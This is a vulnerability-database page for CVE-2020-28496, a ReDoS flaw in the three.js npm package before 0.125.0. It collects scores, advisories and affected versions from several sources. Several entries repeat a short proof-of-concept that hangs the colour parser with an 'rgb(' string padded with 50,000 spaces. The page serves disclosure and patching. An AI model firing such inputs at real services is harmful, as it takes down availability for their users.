Every CVESearch/Get API key

CVE-2020-28496

Regular Expression Denial of Service (ReDoS)

7.5 HighFix available

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

2.52%Up 1.5 points since Apr 14, 2021
90%50%10%1%

What each source reports

CVE List Score used7.5

Regular Expression Denial of Service (ReDoS)

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Record
CVE-2020-28496
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
EUVDEUVD-2021-06557.5

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Record
EUVD-2021-0655
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-fq6p-x6j3-cmmq7.5

Denial of service in three

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC: 

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
Record
GHSA-fq6p-x6j3-cmmq
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
NVD7.5

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Record
CVE-2020-28496
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-fq6p-x6j3-cmmq7.5

Denial of service in three

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC: 

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
Record
GHSA-fq6p-x6j3-cmmq
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVUBUNTU-CVE-2020-284967.5

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Record
UBUNTU-CVE-2020-28496
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2026-1772583176No score

TuxCare security update for three (1 CVE)

TuxCare rebuilt three to address 1 CVE. Fixed in 0.71.0-tuxcare.1.

Record
CLSA-2026-1772583176
Updated
2026-11-02
OSVCLSA-2026-1792760004No score

TuxCare security update for three (1 CVE)

TuxCare rebuilt three to address 1 CVE. Fixed in 0.71.0-tuxcare.3.

Record
CLSA-2026-1792760004
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
three
npm
before 0.125.0
0.125.0
three
TuxCare:npm
0.71.0-tuxcare.0 up to 0.71.0-tuxcare.1, plus listed versions
0.71.0
0.71.0-tuxcare.1
three
TuxCare:npm
0.71.0-tuxcare.0 up to 0.71.0-tuxcare.3, plus listed versions
0.71.00.71.0-tuxcare.10.71.0-tuxcare.2
0.71.0-tuxcare.3
three.js
Ubuntu:16.04:LTS
All versions, plus listed versions
73+dfsg-1
None known
three.js
Ubuntu:18.04:LTS
All versions, plus listed versions
80+dfsg2-1
None known
three.js
Ubuntu:20.04:LTS
All versions, plus listed versions
80+dfsg2-2111+dfsg1-1
None known
three.js
Ubuntu:22.04:LTS
All versions, plus listed versions
111+dfsg1-2
None known
three.js
Ubuntu:24.04:LTS
All versions, plus listed versions
111+dfsg1-3
None known
three.js
Ubuntu:25.10
All versions, plus listed versions
111+dfsg1-3
None known
three.js
Ubuntu:26.10
All versions, plus listed versions
111+dfsg1-5
None known
three.js
Ubuntu:26.04:LTS
All versions, plus listed versions
111+dfsg1-3111+dfsg1-3build1111+dfsg1-4111+dfsg1-5
None known

History

History
RecordedChangedSources
facts
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2020-28496 is a high vulnerability (CVSS 7.5) in Three Project Three, published February 18, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.52%, the 85th percentile. Fixed in three 0.125.0.

References

PagesAll vulnerabilitiesBrowseDocsSourcesGuideGet API key
MoveEnter Open